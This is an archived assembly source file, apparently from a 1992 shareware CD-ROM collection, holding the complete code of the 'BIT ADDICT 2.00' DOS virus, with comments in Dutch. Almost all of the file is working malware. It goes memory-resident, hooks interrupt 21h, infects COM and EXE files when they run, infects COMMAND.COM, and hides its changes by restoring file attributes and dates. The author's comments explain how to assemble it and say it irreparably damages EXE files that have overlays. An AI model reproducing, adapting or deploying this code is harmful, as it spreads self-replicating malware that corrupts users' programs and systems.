home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / ASM-A.ZIP / ADDICT5.ASM < prev    next >
Assembly Source File  |  1992-03-17  |  11KB  |  530 lines

  1. ; BIT ADDICT Versie 2.00
  2. ;
  3. ; Dit virus besmet exe en com-files, en als het opgestart wordt dan reserveert
  4. ; hij 2 diskbuffers en copieert het virus daarheen om resident te blijven.
  5. ; Als het virus resident is dan gaat hij in de environment naar de comspec
  6. ; zoeken en besment dan de command interpreter (meestal COMMAND.COM).
  7. ; Om dit virus te assambleren moet je met TASM, of MASM een OBJ-file maken en
  8. ; dan linken naar een exe-file. Wees voorzichtig en veel plezier met dit virus.
  9.  
  10. ; p.s. wil je dit virus nog aan NIEMAND geven zonder mijn toestemming, omdat
  11. ; het virus nog niet helemaal af is, en waarschijnlijk ook niet helemaal zonder
  12. ; fouten.
  13.  
  14. ;-----------------------------------------------------------------------------
  15. ;-----                                                                   -----
  16. ;-----              Macros en andere hulpmiddellen                       -----
  17. ;-----                                                                   -----
  18. ;-----------------------------------------------------------------------------
  19.  
  20. ; de macro's hieronder worden gebruikt wanneer een conditionele sprong groter
  21. ; wordt dan 128 bytes en er dus een foutmelding komt
  22.  
  23. jmpc    macro    Dest            ; vervanging voor jc
  24.     local    @@00
  25.  
  26.     jnc    @@00
  27.     jmp    Dest
  28. @@00:
  29.     endm
  30.  
  31. jmpnc    macro    Dest            ; vervanging voor jnc
  32.     local    @@00
  33.  
  34.     jc    @@00
  35.     jmp    Dest
  36. @@00:
  37.     endm
  38.  
  39. jmpe    macro    Dest            ; vervanging voor je
  40.     local    @@00
  41.  
  42.     jnz    @@00
  43.     jmp    Dest
  44. @@00:
  45.     endm
  46.  
  47. jmpne    macro    Dest            ; vervanging voor jne
  48.     local    @@00
  49.  
  50.     jz    @@00
  51.     jmp    Dest
  52. @@00:
  53.     endm
  54.  
  55. eseg segment
  56.     mov    ax,4c00h        ; exit
  57.     int    21h
  58. eseg ends
  59.  
  60. ;-----------------------------------------------------------------------------
  61. ;-----                                                                   -----
  62. ;-----              Begin van het Bit Addict virus                       -----
  63. ;-----                                                                   -----
  64. ;-----------------------------------------------------------------------------
  65.  
  66. cseg segment
  67.     assume    cs:cseg,ds:cseg,es:cseg
  68.     org    0
  69.  
  70. BeginCode    equ    $
  71. SavedCode    equ    this byte        ; gegevens over het
  72. OldSignature    dw    5a4dh            ; programma voor het virus
  73. OldCSIP        equ    this dword
  74. OldIP        dw    0
  75. OldCS        dw    0
  76. OldSP        dw    200h
  77. OldSS        dw    0
  78.         dw    3 dup(0)
  79.  
  80. Comspec        db    'COMSPEC='        ; comspec environment variabele
  81.                         ; om de command.com te vinden
  82. ID        db    'BIT ADDICT 2.00'    ; identificatie string
  83. ID_Length    equ    $-offset ID
  84.  
  85. Begin:    push    ax                ; Programma om het virus
  86.     push    bx                ; in het geheugen te zetten
  87.     push    cx
  88.     push    dx
  89.     push    si
  90.     push    di
  91.     push    ds
  92.     push    es
  93.     push    cs
  94.     pop    ds
  95.     cmp    OldSignature,5a4dh
  96.     je    @@10
  97.     mov    si,offset SavedCode        ; herstel begin van het
  98.     mov    di,100h                ; com-programma
  99.     mov    cx,10h
  100.     cld
  101.     rep    movsb
  102.     mov    OldSS,ss            ; bewaar de waarden van
  103.     mov    OldSP,sp            ; ss,sp,cs en ip
  104.     sub    OldSP,10h
  105.     mov    OldCS,es
  106.     mov    OldIP,100h
  107.     jmp    @@11
  108. @@10:    mov    ax,es                ; bereken de waarden van
  109.     add    ax,10h                ; ss,sp,cs en ip
  110.     add    OldCS,ax
  111.     add    OldSS,ax
  112. @@11:    mov    ax,4b40h            ; controleer of Bit Addict al
  113.     int    21h                ; in het geheugen aanwezig is
  114.     jc    @@12
  115.     mov    ds,ax
  116.     push    cs                ; vergelijk identificatie
  117.     pop    ds
  118.     mov    si,offset ID
  119.     mov    di,si
  120.     mov    cx,ID_Length
  121.     cld
  122.     repe    cmpsb
  123.     jmpne    @@13
  124. @@12:    mov    ah,52h                ; lees het adres van de eerste
  125.     int    21h                ; disk-buffer
  126.     push    bx
  127.     mov    ah,30h
  128.     int    21h
  129.     pop    di
  130.     cmp    al,2                ; dit werkt niet op dos 1.x
  131.     jmpc    @@13
  132.     cmp    al,3                ; voor dos 2.x op 13h en voor
  133.     adc    di,12h                ; dos 3+ op 12h
  134.     lds    si,es:[di]
  135.     or    si,si
  136.     jne    @@13
  137.     push    di
  138.     movsw                    ; reserveer 1e buffer
  139.     movsw
  140.     pop    di
  141.     mov    cx,ds
  142.     mov    dx,ds
  143.     call    GetBuffer            ; reserveer 2e buffer 
  144.     jc    @@13
  145.     call    CopyBitAddict            ; Copieer bit addict naar
  146.     pop    es                ; de buffers
  147.     push    es                ; Infecteer bestand in de
  148.     call    InfectComspec            ; comspec
  149.     jmp    @@14
  150. @@13:    call    RestoreBuffers
  151. @@14:    pop    es                ; ga nu verder met het
  152.     pop    ds                ; programma voor Bit Addict
  153.     pop    di
  154.     pop    si
  155.     pop    dx
  156.     pop    cx
  157.     pop    bx
  158.     pop    ax
  159.     cli
  160.     mov    ss,cs:OldSS
  161.     mov    sp,cs:OldSP
  162.     sti
  163.     jmp    cs:OldCSIP
  164.  
  165. GetBuffer:                ; reserveer een buffer
  166.     push    di            ; cx = eerste buffer
  167.     push    es            ; dx = laatste buffer
  168.     jmp    @@21
  169. @@20:    push    ds
  170.     pop    es
  171.     mov    di,si
  172. @@21:    lds    si,es:[di]
  173.     or    si,si
  174.     jne    @@23
  175.     mov    ax,ds
  176.     sub    ax,dx
  177.     cmp    ax,21h
  178.     jne    @@22
  179.     mov    dx,ds
  180.     movsw
  181.     movsw
  182.     clc
  183.     jmp    @@24
  184. @@22:    mov    ax,ds
  185.     sub    ax,cx
  186.     neg    ax
  187.     cmp    ax,21h
  188.     jne    @@20
  189.     mov    cx,ds
  190.     movsw
  191.     movsw
  192.     clc
  193.     jmp    @@24
  194. @@23:    stc
  195. @@24:    pop    es
  196.     pop    di
  197.     ret
  198.  
  199. CopyBitAddict:
  200.     push    cs                ; copieer Bit Addict naar de
  201.     pop    ds                ; gereserveerde buffers
  202.     mov    es,cx
  203.     xor    si,si
  204.     xor    di,di
  205.     mov    cx,CodeSize1
  206.     cld
  207.     rep    movsb
  208.     mov    ds,ax                ; leid interrupt 21h om naar
  209.     mov    ax,ds:[84h]            ; Bit Addict
  210.     mov    word ptr es:OldInt21[0],ax
  211.     mov    ax,ds:[86h]
  212.     mov    word ptr es:OldInt21[2],ax
  213.     mov    word ptr ds:[84h],offset NewInt21
  214.     mov    word ptr ds:[86h],es
  215.     ret
  216.  
  217. InfectComspec:
  218.     mov    es,es:[2ch]            ; lees environment segment
  219.     xor    di,di
  220.     push    cs                ; zoek naar de comspec
  221.     pop    ds                ; variabele
  222.     mov    si,offset Comspec
  223. @@30:    push    si
  224.     push    di
  225.     mov    cx,8
  226.     cld
  227.     repe    cmpsb
  228.     pop    di
  229.     pop    si
  230.     je    @@31
  231.     xor    al,al
  232.     mov    cx,-1
  233.     cld
  234.     repne    scasb
  235.     cmp    byte ptr es:[di],0
  236.     jne    @@30
  237.     jmp    @@32
  238. @@31:    push    es                ; infecteer de COMMAND.COM of
  239.     pop    ds                ; andere command interpreter
  240.     lea    dx,[di+8]
  241.     push    cs:OldIP
  242.     push    cs:OldCS
  243.     push    cs:OldSP
  244.     push    cs:OldSS
  245.     call    Infect
  246.     pop    cs:OldSS
  247.     pop    cs:OldSP
  248.     pop    cs:OldCS
  249.     pop    cs:OldIP
  250. @@32:    ret
  251.  
  252. RestoreBuffers:
  253.     mov    ax,cx
  254. @@40:    cmp    ax,dx
  255.     je    @@42
  256.     mov    ds,ax
  257.     add    ax,21h
  258.     mov    word ptr ds:[0],0
  259.     mov    word ptr ds:[2],ax
  260.     jmp    @@40
  261. @@42:    mov    ds,dx
  262.     mov    ax,es:[di]
  263.     mov    ds:[0],ax
  264.     mov    word ptr es:[di],0
  265.     mov    ax,es:[di+2]
  266.     mov    ds:[2],ax
  267.     mov    es:[di+2],cx
  268.     ret
  269.  
  270. NewInt21:                    ; Het nieuwe interrupt 21h
  271.     pushf
  272.     cmp    ax,4b40h
  273.     je    InstallCheck
  274.     cmp    ah,4bh
  275.     je    Exec
  276. EOI:    popf
  277.     jmp    cs:OldInt21
  278.  
  279. InstallCheck:                    ; Zo kan bit addict weten
  280.     mov    ax,cs                ; dat er al een andere copy
  281.     popf                    ; aanwezig is
  282.     clc
  283.     retf    2
  284.  
  285. ComHeader:                    ; dit stukje wordt voor een
  286.     mov    ax,cs                ; COM-file geplaatst
  287.     add    ax,0100h
  288. OldSize    equ    this word-2
  289.     push    ax
  290.     mov    ax,offset Begin
  291.     push    ax
  292.     retf
  293.  
  294. Exec:    call    Infect                ; functie 4bh, infecteer eerste
  295.     jmp    EOI                ; met Bit Addict
  296.  
  297. Infect:    push    ax                ; Infecteer een file
  298.     push    bx
  299.     push    cx
  300.     push    si
  301.     push    di
  302.     push    bp
  303.     push    es
  304.     mov    ax,4300h            ; lees attributen en bewaar
  305.     int    21h                ; ze
  306.     jmpc    @@62
  307.     push    cx
  308.     push    dx
  309.     push    ds
  310.     test    cx,1
  311.     jz    @@51
  312.     mov    ax,4301h            ; set Read-Only attribuut
  313.     and    cx,0fffeh            ; op nul
  314.     int    21h
  315.     jmpc    @@61
  316. @@51:    mov    ax,3d02h            ; open de file
  317.     int    21h
  318.     jmpc    @@61
  319.     mov    bx,ax
  320.     mov    ax,5700h            ; lees de datum en tijd en
  321.     int    21h                ; bewaar ze
  322.     jmpc    @@60
  323.     push    cx
  324.     push    dx
  325.     push    cs                ; ds=es=cs
  326.     pop    ds
  327.     push    cs
  328.     pop    es
  329.     mov    ah,3fh                ; lees de header van de file
  330.     mov    cx,HeaderLength
  331.     lea    dx,Header
  332.     int    21h
  333.     jmpc    @@59
  334.     cmp    ax,HeaderLength
  335.     jne    @@54
  336.     cmp    Signature,5a4dh
  337.     jne    @@52
  338.     mov    ax,ExeCS            ; zoek de plaats waar de 
  339.     add    ax,HeaderSize            ; identificatie zou moeten
  340.     mov    dx,10h                ; staan voor exe-files
  341.     mul    dx
  342.     add    ax,offset ID
  343.     adc    dx,0
  344.     jmp    @@53
  345. @@52:    mov    ax,ComCS            ; doe hetzelfde maar dan voor
  346.     mov    dx,10h                ; een com-file
  347.     sub    ax,dx
  348.     mul    dx
  349.     add    ax,offset ID
  350.     adc    dx,0
  351. @@53:    mov    cx,dx
  352.     mov    dx,ax
  353.     mov    ax,4200h
  354.     int    21h
  355.     mov    ah,3fh                ; lees de ID indien aanwezig
  356.     mov    cx,ID_Length
  357.     lea    dx,ID_Check
  358.     int    21h
  359.     lea    si,ID_Check            ; controleer of ID aanwezig
  360.     lea    di,ID                ; is
  361.     mov    cx,ID_Length
  362.     cld
  363.     repe    cmpsb
  364.     jmpe    @@59                ; als ID aanwezig is, stop dan
  365.     cmp    Signature,5a4dh
  366.     je    @@56
  367. @@54:    mov    ax,4202h            ; infecteer com-files
  368.     xor    cx,cx                ; ga naar het einde van de file
  369.     xor    dx,dx
  370.     int    21h
  371.     mov    cx,10h                ; aanpassen van de com-header
  372.     div    cx                ; aan deze com-file
  373.     or    dx,dx
  374.     je    @@55
  375.     push    ax
  376.     mov    ah,40h
  377.     mov    cx,10h
  378.     sub    cx,dx
  379.     xor    dx,dx
  380.     int    21h
  381.     pop    ax
  382.     jmpc    @@59
  383.     inc    ax
  384. @@55:    add    ax,10h
  385.     mov    OldSize,ax
  386.     mov    si,offset Header        ; bewaar het eerste deel van
  387.     mov    di,offset SavedCode        ; het programma
  388.     mov    cx,10h
  389.     cld
  390.     rep    movsb
  391.     mov    ah,40h                ; schrijf het virus achter het
  392.     mov    cx,CodeSize1            ; programma
  393.     xor    dx,dx
  394.     int    21h
  395.     jmpc    @@59
  396.     mov    ax,4200h            ; ga naar het begin van de file
  397.     xor    cx,cx
  398.     xor    dx,dx
  399.     int    21h
  400.     jmpc    @@59
  401.     mov    ah,40h                ; overschrijf het begin van het
  402.     mov    cx,10h                ; programma met de com-header
  403.     mov    dx,offset ComHeader
  404.     int    21h
  405.     jmp    @@59
  406. @@56:    mov    OldSignature,5a4dh        ; infecteer exe-files
  407.     mov    ax,ExeIP            ; bewaar de oude waarden van
  408.     mov    OldIP,ax            ; cs:ip en ss:sp
  409.     mov    ax,ExeCS
  410.     mov    OldCS,ax
  411.     mov    ax,ExeSP
  412.     mov    OldSP,ax
  413.     mov    ax,ExeSS
  414.     mov    OldSS,ax
  415.     mov    ax,PageCount            ; pas de waarden van cs:ip en
  416.     dec    ax                ; ss:sp aan, en pas ook de 
  417.     mov    cx,200h                ; lengte van de file aan
  418.     mul    cx
  419.     add    ax,PartPage
  420.     adc    dx,0
  421.     mov    cx,dx
  422.     mov    dx,ax
  423.     mov    ax,4200h
  424.     int    21h
  425.     mov    cx,10h
  426.     div    cx
  427.     or    dx,dx
  428.     je    @@57
  429.     push    ax
  430.     push    dx
  431.     mov    ah,40h
  432.     mov    cx,10h
  433.     sub    cx,dx
  434.     xor    dx,dx
  435.     int    21h
  436.     pop    dx
  437.     pop    ax
  438.     jc    @@59
  439.     inc    ax
  440. @@57:    sub    ax,HeaderSize
  441.     mov    ExeCS,ax
  442.     mov    ExeIP,offset Begin
  443.     add    ax,CodeSizePara2
  444.     mov    ExeSS,ax
  445.     mov    ExeSP,200h
  446.     mov    ax,MinMem
  447.     cmp    ax,20h+CodeSizePara2-CodeSizePara1
  448.     jae    @@58
  449.     mov    ax,20h
  450. @@58:    mov    MinMem,ax
  451.     mov    ax,PartPage
  452.     add    ax,CodeSize1
  453.     add    ax,dx
  454.     mov    cx,200h
  455.     xor    dx,dx
  456.     div    cx
  457.     add    PageCount,ax
  458.     mov    PartPage,dx
  459.     mov    ah,40h                ; schrijf het virus achter
  460.     mov    cx,CodeSize1            ; de exe-file, indien de
  461.     xor    dx,dx                ; exe-file overlays bevat dan
  462.     int    21h                ; worden ze overschreven en is
  463.     jc    @@59                ; de exe-file onherstelbaar
  464.     mov    ax,4200h            ; beschadigd
  465.     xor    cx,cx
  466.     xor    dx,dx                ; ga naar het begin van de file
  467.     int    21h
  468.     jc    @@59
  469.     mov    ah,40h                ; schrijf de nieuwe exe-header
  470.     mov    cx,HeaderLength            ; over de oude heen.
  471.     mov    dx,offset Header
  472.     int    21h
  473. @@59:    pop    dx                ; herstel de datum van de file
  474.     pop    cx
  475.     mov    ax,5701h
  476.     int    21h
  477. @@60:    mov    ah,3eh                ; sluit de file
  478.     int    21h
  479. @@61:    pop    ds                ; herstel de attributen van de
  480.     pop    dx                ; file
  481.     pop    cx
  482.     test    cx,1
  483.     jz    @@62
  484.     mov    ax,4301h
  485.     int    21h
  486. @@62:    pop    es                ; herstel de waarden van de
  487.     pop    bp                ; registers en keer terug
  488.     pop    di                ; naar het oude interrupt 21
  489.     pop    si
  490.     pop    cx
  491.     pop    bx
  492.     pop    ax
  493.     ret
  494.  
  495. CodeSize1    equ    $-BeginCode
  496. CodeSizePara1    equ    ($-BeginCode+0fh) / 10h
  497.  
  498. Header        dw    14h dup(?)
  499. ComCS        equ    Header[ComHeader-OldSize]    ; Com file
  500.  
  501. Signature    equ    Header[0h]            ; Exe file
  502. PartPage    equ    Header[2h]
  503. PageCount    equ    Header[4h]
  504. ReloCount    equ    Header[6h]
  505. HeaderSize    equ    Header[8h]
  506. MinMem        equ    Header[0ah]
  507. MaxMem        equ    Header[0ch]
  508. ExeSS        equ    Header[0eh]
  509. ExeSP        equ    Header[10h]
  510. ChkSum        equ    Header[12h]
  511. ExeIP        equ    Header[14h]
  512. ExeCS        equ    Header[16h]
  513. TablOfs        equ    Header[18h]
  514. OverlayNr    equ    Header[1ah]
  515. HeaderLength    equ    1ch
  516.  
  517. ID_Check    db    ID_Length dup(?)
  518.  
  519. OldInt21    dd    ?
  520.  
  521. CodeSize2    equ    $-BeginCode
  522. CodeSizePara2    equ    ($-BeginCode+0fh) / 10h
  523.  
  524. cseg ends
  525.  
  526. sseg segment stack
  527.     db    200h dup(?)
  528. sseg ends
  529.  
  530. end Begin